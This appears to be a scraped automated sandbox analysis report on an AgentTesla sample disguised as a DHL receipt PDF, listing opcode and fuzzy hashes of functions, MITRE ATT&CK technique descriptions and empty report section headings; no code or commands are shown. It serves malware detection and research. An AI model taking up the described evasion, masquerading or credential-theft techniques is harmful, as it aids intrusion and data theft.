Opcode ID: 3ff13692a33fca51b00f1e45f4bbcbcba13c8b749c7b3759ce63c5e421a9d25b
Instruction ID: e10e5fc47d9f4d8939d9761837c2c4ba897d34d83f587fb21ebc33a6023e04a0
Opcode Fuzzy Hash: 3ff13692a33fca51b00f1e45f4bbcbcba13c8b749c7b3759ce63c5e421a9d25b
Instruction Fuzzy Hash: 8D115E71F002188F8B80FFB8D8459AE77F6FF8C254B108469E109E7358EB349D019BA4

Uniqueness

Uniqueness Score: -1.00%

Function 00C741C8, Relevance: .1, Instructions: 52COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.566187569.0000000000C70000.00000040.00000010.sdmp, Offset: 00C70000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 20433ab8f5d755f3268cd02ce94e98aef6a010f77d3c5cd6eae07b0c5e863c15
Instruction ID: cdb5bef122fcb071dcf629cb57b4db98723105832423de2d77cecdee0b6635b8
Opcode Fuzzy Hash: 20433ab8f5d755f3268cd02ce94e98aef6a010f77d3c5cd6eae07b0c5e863c15
Instruction Fuzzy Hash: E6113C31F005188F8B84EFB8D8459AEB7F6FF8C254B118469E109E7355EF349D019B95

Uniqueness

Uniqueness Score: -1.00%

Function 00C709D0, Relevance: .1, Instructions: 52COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.566187569.0000000000C70000.00000040.00000010.sdmp, Offset: 00C70000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 685c27a343ebd577c65ce31c98f23c7fad73f3f1fa8faa4477153562e5c88aff
Instruction ID: 5a85bee643c78c4acc0ed21a957f3d1a0faefaf8cf7e9f9a67104d0d7b5a1794
Opcode Fuzzy Hash: 685c27a343ebd577c65ce31c98f23c7fad73f3f1fa8faa4477153562e5c88aff
Instruction Fuzzy Hash: 1E113C30F002189F8B80EBB8D8459AE77F5EF88214B108469E10DE7355EB349D029B94

Uniqueness

Uniqueness Score: -1.00%

Function 00C739A8, Relevance: .1, Instructions: 52COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.566187569.0000000000C70000.00000040.00000010.sdmp, Offset: 00C70000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 05af938a8c2249706430a12f42211edd71e2413b51bf4d86a290de117a1ff696
Instruction ID: 0eb736a21ccb6af59ace6537f66a180337ebdcd0b9d3e32568bdb2a00adbcfed
Opcode Fuzzy Hash: 05af938a8c2249706430a12f42211edd71e2413b51bf4d86a290de117a1ff696
Instruction Fuzzy Hash: CB115E30F001189F8B80FFB8D8459AE77F5FF8C254B108469E149E7355EB349D02AB95

Uniqueness

Uniqueness Score: -1.00%

Function 00C742E8, Relevance: .1, Instructions: 52COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.566187569.0000000000C70000.00000040.00000010.sdmp, Offset: 00C70000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bb613e7b3b84e2bf40cc071c4aeb925caf3dc6ea336714d4a42ef7c24ba8a922
Instruction ID: 4d7f9fe80b4a3bfc52b834e0478209b41e29199eb9828b3609bb71435cccb5e3
Opcode Fuzzy Hash: bb613e7b3b84e2bf40cc071c4aeb925caf3dc6ea336714d4a42ef7c24ba8a922
Instruction Fuzzy Hash: A1113C30F006298F8B45FBB8D8459AE77F5EF882147108469E10DE7358EB349D019B94

Uniqueness

Uniqueness Score: -1.00%

Function 00C72E68, Relevance: .1, Instructions: 52COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.566187569.0000000000C70000.00000040.00000010.sdmp, Offset: 00C70000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cd445edfcad5e3e5c7347c6e2bdb5d8701d199474140740149bb612dd9f99601
Instruction ID: 61a0ee47a63f889b1164ee4c522a11fe18702ffdd1eec310f90da3c049e8ffbf
Opcode Fuzzy Hash: cd445edfcad5e3e5c7347c6e2bdb5d8701d199474140740149bb612dd9f99601
Instruction Fuzzy Hash: B2110C31F001188F8B81FBB8D8459AEB7F5EF8C254B508469E549E7354EB349D01DBA5

Uniqueness

Uniqueness Score: -1.00%

Function 00C73768, Relevance: .1, Instructions: 52COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.566187569.0000000000C70000.00000040.00000010.sdmp, Offset: 00C70000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 45c7ccb528e4860083123550b8be533c9cebae61a421f3c6035b8b8d1cd4a34b
Instruction ID: da0c028f1c517c3d606a86812e6c8da552100babf28a4c36bc67b3d8affe60f4
Opcode Fuzzy Hash: 45c7ccb528e4860083123550b8be533c9cebae61a421f3c6035b8b8d1cd4a34b
Instruction Fuzzy Hash: 0C115E70F002189F8B80FFB8D8459AE77F5EF8C254B108469E109E7358EB349D02DB95

Uniqueness

Uniqueness Score: -1.00%

Function 00C73EB8, Relevance: .0, Instructions: 42COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.566187569.0000000000C70000.00000040.00000010.sdmp, Offset: 00C70000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 15746d44c72a83493a614f286fda22fe8464f58133305c2e6f26afd77866ddd7
Instruction ID: ff6a957f8ff2a22dbf5054b157bead1117f7d59ec411e25224afe3cd6c1b2573
Opcode Fuzzy Hash: 15746d44c72a83493a614f286fda22fe8464f58133305c2e6f26afd77866ddd7
Instruction Fuzzy Hash: 27F0CD32F0412447CF15ABF498293EE77A69B8C355F024579DA4AD3384EF384D154BD5

Uniqueness

Uniqueness Score: -1.00%

Function 00C71F48, Relevance: .0, Instructions: 38COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.566187569.0000000000C70000.00000040.00000010.sdmp, Offset: 00C70000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0c73675b0896d532ace69678b08cfeefdedd63daee79222c4cd203f0c8ffdece
Instruction ID: 8fcbfb3efeaa05702f62926da3fccb3683906ed83483c60870e82f30ba03d497
Opcode Fuzzy Hash: 0c73675b0896d532ace69678b08cfeefdedd63daee79222c4cd203f0c8ffdece
Instruction Fuzzy Hash: 6D01E870E04219CFCF44EFF9C9005EEBBF5AF48200F148569D919E7250E73859018BA4

Uniqueness

Uniqueness Score: -1.00%

Function 00C752A0, Relevance: .0, Instructions: 33COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.566187569.0000000000C70000.00000040.00000010.sdmp, Offset: 00C70000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3a44fd9e60fc4a7d9b9176b3e3a27326c1fc7879f85daaea1a24fbcea41a9e8c
Instruction ID: 10f30230835ddec41693dbf9c8faeef1bd32b97c6c73f1064134e6e5220889da
Opcode Fuzzy Hash: 3a44fd9e60fc4a7d9b9176b3e3a27326c1fc7879f85daaea1a24fbcea41a9e8c
Instruction Fuzzy Hash: 9BF08271F002149B8B50BBF958046AF7AE5EB88291B014536D50EE3300EF388E0187D5

Uniqueness

Uniqueness Score: -1.00%

Function 00C738E7, Relevance: .0, Instructions: 25COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.566187569.0000000000C70000.00000040.00000010.sdmp, Offset: 00C70000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d5e821207680d34fd499e2819f3ba3fe4eb64b667ae91f427342a7ec9e2199a6
Instruction ID: 845a9d7e5938d1444b7fdd4379898a3974ba301460b4b3f3950dbcbfbecf5f35
Opcode Fuzzy Hash: d5e821207680d34fd499e2819f3ba3fe4eb64b667ae91f427342a7ec9e2199a6
Instruction Fuzzy Hash: 30E0E535B011288B8F05FBB8D8558ED73E6EB88324B118065E54AE7398DE389D029BA5

Uniqueness

Uniqueness Score: -1.00%

Function 00C74467, Relevance: .0, Instructions: 25COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.566187569.0000000000C70000.00000040.00000010.sdmp, Offset: 00C70000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8bd86ef03b8c31087486e26692aa96f76672f076eb27c837a59c6eefb297d352
Instruction ID: 9db2e36453ae97438bfc1987c7b450609eedde5ab120edb489a3f8c15df5b3c8
Opcode Fuzzy Hash: 8bd86ef03b8c31087486e26692aa96f76672f076eb27c837a59c6eefb297d352
Instruction Fuzzy Hash: 42E0E535B001188B8F44FBBCE8558ED73E2EB88314B118165E54AE7398DF389C01ABA5

Uniqueness

Uniqueness Score: -1.00%

Function 00C7090F, Relevance: .0, Instructions: 25COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.566187569.0000000000C70000.00000040.00000010.sdmp, Offset: 00C70000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 459e661a998535ef1924245f0684e1c54fddaf08163d15989b6faa9365007afb
Instruction ID: a06fdd2587eff01c026a503b9393618e77f5331870ece9e28b8fc42264473122
Opcode Fuzzy Hash: 459e661a998535ef1924245f0684e1c54fddaf08163d15989b6faa9365007afb
Instruction Fuzzy Hash: 37E0ED35B000188B8F04FBB8D8558EDB3E6EB88314B118065E549E7395DE349C019B65

Uniqueness

Uniqueness Score: -1.00%

Function 00C72EC7, Relevance: .0, Instructions: 25COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.566187569.0000000000C70000.00000040.00000010.sdmp, Offset: 00C70000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 868ce0ed025677075cb8708743386684ae29714dac54ea5f5ec73723549c9a68
Instruction ID: be4fe917220710993639cc81ec6577b2408a9c42bd0378b09bcace3daeba8f6a
Opcode Fuzzy Hash: 868ce0ed025677075cb8708743386684ae29714dac54ea5f5ec73723549c9a68
Instruction Fuzzy Hash: B4E0E535B001288B8F45FBF8D8558EDB3F2EBC8355B118065E54AE7394DE389C019BA9

Uniqueness

Uniqueness Score: -1.00%

Function 00C73A07, Relevance: .0, Instructions: 25COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.566187569.0000000000C70000.00000040.00000010.sdmp, Offset: 00C70000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e8ec0dd3cf686b1a61ac42173f1ba6c3b30d472a25b762c35785c30d2861bbe0
Instruction ID: 7d242df3728a345034451c68234b650bbbacda5b96d9f684c6781913ca5b4eda
Opcode Fuzzy Hash: e8ec0dd3cf686b1a61ac42173f1ba6c3b30d472a25b762c35785c30d2861bbe0
Instruction Fuzzy Hash: 67E0E535B001188B8F45FBFCD8558ED73E2FBC8325B118465E54AE7394DE389C02ABA9

Uniqueness

Uniqueness Score: -1.00%

Function 00C74227, Relevance: .0, Instructions: 25COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.566187569.0000000000C70000.00000040.00000010.sdmp, Offset: 00C70000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 212fc460a6e5144658d9ed53327d86d82a4690fc84e9dc2e928a28f28bd03996
Instruction ID: 5b6bd78f120cf5e0628c4e55ff8288981875a1f1bc4f05a0d73db4137e1b7a8b
Opcode Fuzzy Hash: 212fc460a6e5144658d9ed53327d86d82a4690fc84e9dc2e928a28f28bd03996
Instruction Fuzzy Hash: F4E0C235B001188B8F44FBB8D8558EDB3E2EB88364B118065E54AE73A4EF389C019BA5

Uniqueness

Uniqueness Score: -1.00%

Function 00C70A2F, Relevance: .0, Instructions: 25COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.566187569.0000000000C70000.00000040.00000010.sdmp, Offset: 00C70000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b690ec899592725c45d3f29ee03efe271cd894cbcfec11f03dfa1c86fa10dc0d
Instruction ID: f6d0848004675675b621ad465f33c7779b7725709c03008529d9e1789d47c34c
Opcode Fuzzy Hash: b690ec899592725c45d3f29ee03efe271cd894cbcfec11f03dfa1c86fa10dc0d
Instruction Fuzzy Hash: 80E0ED35B011188B8F44FBBCD4558ED73E2FB88324B118069E549E7394DF349C019BA5

Uniqueness

Uniqueness Score: -1.00%

Function 00C737C7, Relevance: .0, Instructions: 25COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.566187569.0000000000C70000.00000040.00000010.sdmp, Offset: 00C70000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f774e66fbd899e81fa3bc2a5c5e105fdc4dff9f23d3ceb995819ef22d502e817
Instruction ID: 2b2d16dd2b5616d91d5995f2d643fbf265f4fbadec33ded7ea782e1a7d0cd9f5
Opcode Fuzzy Hash: f774e66fbd899e81fa3bc2a5c5e105fdc4dff9f23d3ceb995819ef22d502e817
Instruction Fuzzy Hash: 95E0ED35F001188B8F44FBB8D4558ED73E2EBC8354B118165E549E7394DE389C019B65

Uniqueness

Uniqueness Score: -1.00%

Function 00C74347, Relevance: .0, Instructions: 25COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.566187569.0000000000C70000.00000040.00000010.sdmp, Offset: 00C70000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 737b20689894cf9501e10833cb03b80a2b00745697933a3a8cb418b0bf592a0e
Instruction ID: 6601fbe49d1ee97bdccc833ab50011b19ba9eb0f2ce528560c6d44498813fd49
Opcode Fuzzy Hash: 737b20689894cf9501e10833cb03b80a2b00745697933a3a8cb418b0bf592a0e
Instruction Fuzzy Hash: 7EE0E535B001298B8F05FBBCE8558ED73E6EF88314B118565E54AE73A8DF389C019BA5

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to achieve execution. WMI is a Windows administration feature that provides a uniform environment for local and remote access to Windows system components. It relies on the WMI service for local and remote access and the server message block (SMB) and Remote Procedure Call Service (RPCS) for remote access. RPCS operates over port 135.
Tactics:	Execution
Data Sources:	Authentication logs, Netflow/Enclave netflow, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	PowerShell logs, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may disable security tools to avoid possible detection of their tools and activities. This can take the form of killing security software or event logging processes, deleting Registry keys so that tools do not start at run time, or other methods to interfere with security tools scanning or reporting information.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Services, Windows Registry
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata
Platforms:	macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	API monitoring, PowerShell logs, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, File monitoring, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Authentication logs, Email gateway, File monitoring, Mail server, Office 365 trace logs, Process monitoring, Process use of network
Platforms:	Office 365, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Host network interface, Netflow/Enclave netflow, Network intrusion detection system, Network protocol analysis, Packet capture, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	DNS records, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading ...

Warning!

Windows Analysis Report DHL_119040 ontvangstbewijs,pdf.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Threatname: Agenttesla

Yara Overview

Memory Dumps

Unpacked PEs

Sigma Overview

Jbx Signature Overview

AV Detection:

Compliance:

Networking:

System Summary:

Data Obfuscation:

Hooking and other Techniques for Hiding and Protection:

Malware Analysis System Evasion:

Anti Debugging:

HIPS / PFW / Operating System Protection Evasion:

Language, Device and Operating System Detection:

Stealing of Sensitive Information:

Remote Access Functionality:

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

Contacted IPs

Public

Private

General Information

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASN

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Resources

Imports

Version Infos

Network Behavior

Network Port Distribution

TCP Packets

UDP Packets

DNS Queries

DNS Answers

HTTP Request Dependency Graph

HTTPS Proxied Packets

Code Manipulations